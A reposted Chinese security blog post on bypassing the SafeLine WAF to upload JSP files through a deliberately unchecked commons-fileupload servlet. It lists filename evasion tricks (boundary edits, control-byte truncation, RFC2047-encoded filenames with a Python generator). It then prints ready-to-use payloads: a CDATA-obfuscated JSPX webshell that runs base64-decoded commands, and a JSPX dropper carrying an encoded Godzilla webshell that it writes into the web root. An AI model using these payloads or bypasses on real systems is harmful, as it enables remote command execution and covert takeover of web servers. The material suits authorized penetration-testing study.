文章总结: 本文介绍JSP文件上传WAF绕过技术,针对commons-fileupload组件提供多种方案。涵盖后缀绕过(boundary修改、特殊字符截断、RFC2047编码)及内容绕过(上传jspx、脏数据填充、CDATA混淆)。结合代码示例与Fuzzing思路,帮助渗透测试人员绕过雷池等WAF防护。 综合评分: 90 文章分类: WEB安全,渗透测试,漏洞分析,红队,实战经验
WAF绕过 JSP文件上传Bypass雷池
原创
Hyyrent
0xSecurity
2026年1月14日 17:16 广东
测试环境
之前测试的,现在可能失效,学习一些bypass思路
111
package com.example;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;
@WebServlet("/FileUploadServlet")
@MultipartConfig
public class FileUploadServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
if (!ServletFileUpload.isMultipartContent(request)) {
response.getWriter().println("错误: 表单不是 multipart/form-data 类型");
return;
}
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(1024 * 1024); // 设置内存缓冲区大小为1MB
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List<FileItem> items = upload.parseRequest(request);
for (FileItem item : items) {
if (!item.isFormField()) { // 处理文件字段
String fileName = new File(item.getName()).getName();
String savePath = getServletContext().getRealPath("") + File.separator + "upload";
File uploadDir = new File(savePath);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
File uploadedFile = new File(savePath + File.separator + fileName);
item.write(uploadedFile);
// 返回上传成功的文件相对于应用根目录的相对路径
String relativePath = "upload" + File.separator + fileName;
response.getWriter().println("文件上传成功,路径:" + relativePath);
return;
}
}
} catch (Exception ex) {
throw new ServletException(ex);
}
}
}
#upload.jsp
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload</title>
</head>
<body>
<h1>File Upload</h1>
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
<label for="file">Choose a file:</label>
<input type="file" name="file" id="file" required>
<br>
<input type="submit" value="Upload">
</form>
</body>
</html>
package com.example;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.commons.io.FilenameUtils; // 引入Apache Commons IO库用于安全获取文件名
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
@WebServlet("/upload")
@MultipartConfig(location = "/WEB-INF/uploads") // 设置默认临时目录为/WEB-INF/uploads
public class FileUploadServletTest extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final String UPLOAD_DIRECTORY = "/uploads"; // 相对于应用根目录的上传目录
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
if (!ServletFileUpload.isMultipartContent(request)) {
throw new ServletException("Request is not multipart");
}
DiskFileItemFactory factory = new DiskFileItemFactory();
// 可以设置临时工作目录以及大小阈值
factory.setSizeThreshold(1024 * 1024); // 设置内存缓冲区大小为1MB
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List<FileItem> items = upload.parseRequest(request);
for (FileItem item : items) {
if (!item.isFormField()) { // 处理文件字段
// 获取原始文件名和扩展名
String fileName = item.getName();
String extension = FilenameUtils.getExtension(fileName); // 使用Apache Commons IO库获取扩展名
// 如果不使用Apache Commons IO库,可以手动获取扩展名:
// String extension = fileName.substring(fileName.lastIndexOf(".") + 1);
// 使用时间戳作为前缀,并附加原始扩展名创建新的文件名
LocalDateTime now = LocalDateTime.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmssSSS");
String newFileName = now.format(formatter) + "." + extension;
//String fileName = FilenameUtils.getName(item.getName()); // 安全获取文件名
String savePath = getServletContext().getRealPath("/") + UPLOAD_DIRECTORY;
File uploadedFile = new File(savePath, newFileName);
// 创建并检查父目录是否存在
File parentDir = uploadedFile.getParentFile();
if (!parentDir.exists() && !parentDir.mkdirs()) {
throw new ServletException("Failed to create directory: " + parentDir.getAbsolutePath());
}
// 保存文件,并执行基本的安全性检查(此处仅为示例未提供完整检查)
item.write(uploadedFile);
// 返回上传成功的文件相对于应用根目录的相对路径
response.getWriter().write(UPLOAD_DIRECTORY + "/" + newFileName);
return;
}
}
} catch (Exception ex) {
throw new ServletException(ex);
}
}
}
#upload2.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<form action="upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
后缀绕过
boundary绕过
添加空格、添加tab
在filename前后截断
添加00、07、0b、1f
Content-Disposition前后截断
content-Type后加换行(看代码)
name前后截断
name='”file”
filename=”=?utf-8?B?dGVzdC5qc3A=?=”
需要commons-fileupload组件且版本>1.3
生成方式
import base64
name = "test.jsp"
encode = name.encode("utf-8")
b = base64.b64encode(encode)
print("=?utf-8?B?"+b.decode()+"?=")
res = ""
for i in encode.decode("gbk"):
tmp = hex(ord(i)).split("0x")[1]
res += f"={tmp}"
print("=?gbk?Q?"+res+"?=")
内容绕过
上传jspx
填充脏数据105w
CDATA特性
一句话木马(base64编码)
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html" import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException,java.io.InputStream,java.lang.Process,java.util.Base64"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
String cmd = <![CDATA[re]]>q<![CDATA[uest.getPar]]><![CDATA[ameter]]>("cmd");
byte[] decodedBytes = Base64.getDecoder().decode(cmd);
String cmd2 = new String(decodedBytes);
<![CDATA[P]]>rocess process = <![CDATA[Run]]>time.get<![CDATA[Run]]>time().<![CDATA[e]]>xec(cmd2);
<![CDATA[I]]>nputStream inputStream = process.getInputStream();
<![CDATA[B]]>ufferedReader bufferedReader = new <![CDATA[B]]>ufferedReader(new <![CDATA[I]]>nputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
<![CDATA[r]]>esponse.getWriter().println(line);
}
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
生成哥斯拉木马
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="1.2">
<jsp:directive.page contentType="text/html" import="java.io.FileWriter, java.io.BufferedWriter, java.io.IOException,java.util.Base64" />
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
<![CDATA[S]]>tring fileName = "example.jsp"; //生成文件名
//木马内容,base64格式,注意不能有+号
String content = "PCUhIFN0cmluZyB4Yz0iM2M2ZTBiOGE5YzE1MjI0YSI7IFN0cmluZyBwYXNzPSJwYXNzIjsgU3RyaW5nIG1kNT1tZDUocGFzcyt4Yyk7IGNsYXNzIFggZXh0ZW5kcyBDbGFzc0xvYWRlcntwdWJsaWMgWChDbGFzc0xvYWRlciB6KXtzdXBlcih6KTt9cHVibGljIENsYXNzIFEoYnl0ZVtdIGNiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoY2IsIDAsIGNiLmxlbmd0aCk7fSB9cHVibGljIGJ5dGVbXSB4KGJ5dGVbXSBzLGJvb2xlYW4gbSl7IHRyeXtqYXZheC5jcnlwdG8uQ2lwaGVyIGM9amF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7Yy5pbml0KG0/MToyLG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksIkFFUyIpKTtyZXR1cm4gYy5kb0ZpbmFsKHMpOyB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXtyZXR1cm4gbnVsbDsgfX0gcHVibGljIHN0YXRpYyBTdHJpbmcgbWQ1KFN0cmluZyBzKSB7U3RyaW5nIHJldCA9IG51bGw7dHJ5IHtqYXZhLnNlY3VyaXR5Lk1lc3NhZ2VEaWdlc3QgbTttID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTttLnVwZGF0ZShzLmdldEJ5dGVzKCksIDAsIHMubGVuZ3RoKCkpO3JldCA9IG5ldyBqYXZhLm1hdGguQmlnSW50ZWdlcigxLCBtLmRpZ2VzdCgpKS50b1N0cmluZygxNikudG9VcHBlckNhc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge31yZXR1cm4gcmV0OyB9IHB1YmxpYyBzdGF0aWMgU3RyaW5nIGJhc2U2NEVuY29kZShieXRlW10gYnMpIHRocm93cyBFeGNlcHRpb24ge0NsYXNzIGJhc2U2NDtTdHJpbmcgdmFsdWUgPSBudWxsO3RyeSB7YmFzZTY0PUNsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTtPYmplY3QgRW5jb2RlciA9IGJhc2U2NC5nZXRNZXRob2QoImdldEVuY29kZXIiLCBudWxsKS5pbnZva2UoYmFzZTY0LCBudWxsKTt2YWx1ZSA9IChTdHJpbmcpRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlVG9TdHJpbmciLCBuZXcgQ2xhc3NbXSB7IGJ5dGVbXS5jbGFzcyB9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtdIHsgYnMgfSk7fSBjYXRjaCAoRXhjZXB0aW9uIGUpIHt0cnkgeyBiYXNlNjQ9Q2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RW5jb2RlciIpOyBPYmplY3QgRW5jb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOyB2YWx1ZSA9IChTdHJpbmcpRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlIiwgbmV3IENsYXNzW10geyBieXRlW10uY2xhc3MgfSkuaW52b2tlKEVuY29kZXIsIG5ldyBPYmplY3RbXSB7IGJzIH0pO30gY2F0Y2ggKEV4Y2VwdGlvbiBlMikge319cmV0dXJuIHZhbHVlOyB9IHB1YmxpYyBzdGF0aWMgYnl0ZVtdIGJhc2U2NERlY29kZShTdHJpbmcgYnMpIHRocm93cyBFeGNlcHRpb24ge0NsYXNzIGJhc2U2NDtieXRlW10gdmFsdWUgPSBudWxsO3RyeSB7YmFzZTY0PUNsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTtPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYmFzZTY0LCBudWxsKTt2YWx1ZSA9IChieXRlW10pZGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlIiwgbmV3IENsYXNzW10geyBTdHJpbmcuY2xhc3MgfSkuaW52b2tlKGRlY29kZXIsIG5ldyBPYmplY3RbXSB7IGJzIH0pO30gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7dHJ5IHsgYmFzZTY0PUNsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsgT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQubmV3SW5zdGFuY2UoKTsgdmFsdWUgPSAoYnl0ZVtdKWRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tdIHsgU3RyaW5nLmNsYXNzIH0pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W10geyBicyB9KTt9IGNhdGNoIChFeGNlcHRpb24gZTIpIHt9fXJldHVybiB2YWx1ZTsgfSU+PCV0cnl7Ynl0ZVtdIGRhdGE9YmFzZTY0RGVjb2RlKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpKTtkYXRhPXgoZGF0YSwgZmFsc2UpO2lmIChzZXNzaW9uLmdldEF0dHJpYnV0ZSgicGF5bG9hZCIpPT1udWxsKXtzZXNzaW9uLnNldEF0dHJpYnV0ZSgicGF5bG9hZCIsbmV3IFgodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLlEoZGF0YSkpO31lbHNle3JlcXVlc3Quc2V0QXR0cmlidXRlKCJwYXJhbWV0ZXJzIixkYXRhKTtqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQ9bmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7T2JqZWN0IGY9KChDbGFzcylzZXNzaW9uLmdldEF0dHJpYnV0ZSgicGF5bG9hZCIpKS5uZXdJbnN0YW5jZSgpO2YuZXF1YWxzKGFyck91dCk7Zi5lcXVhbHMocGFnZUNvbnRleHQpO3Jlc3BvbnNlLmdldFdyaXRlcigpLndyaXRlKG1kNS5zdWJzdHJpbmcoMCwxNikpO2YudG9TdHJpbmcoKTtyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShiYXNlNjRFbmNvZGUoeChhcnJPdXQudG9CeXRlQXJyYXkoKSwgdHJ1ZSkpKTtyZXNwb25zZS5nZXRXcml0ZXIoKS53cml0ZShtZDUuc3Vic3RyaW5nKDE2KSk7fSB9Y2F0Y2ggKEV4Y2VwdGlvbiBlKXsgfQolPg==";
byte[] decodedBytes = Base64.getDecoder().decode(content);
String content2 = new String(decodedBytes);
String appPath = <![CDATA[a]]>pplication.getRealPath("/");
String filePath = appPath + fileName;
try {
<![CDATA[F]]>ileWriter fileWriter = new <![CDATA[F]]>ileWriter(filePath);
<![CDATA[B]]>ufferedWriter bufferedWriter = new <![CDATA[B]]>ufferedWriter(fileWriter);
bufferedWriter.write(content2);
bufferedWriter.close();
<![CDATA[o]]>ut.println("File '" + filePath + "' has been created in the application directory.");
} catch (IOException e) {
<![CDATA[o]]>ut.println("Error writing file: " + e.getMessage() + "");
e.printStackTrace();
}
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
burp fuzz16进制
生成一个txt字典,内容从%00一直到%ff,然后添加一个url解密即可
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xSecurity Hyyrent《WAF绕过 JSP文件上传Bypass雷池》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论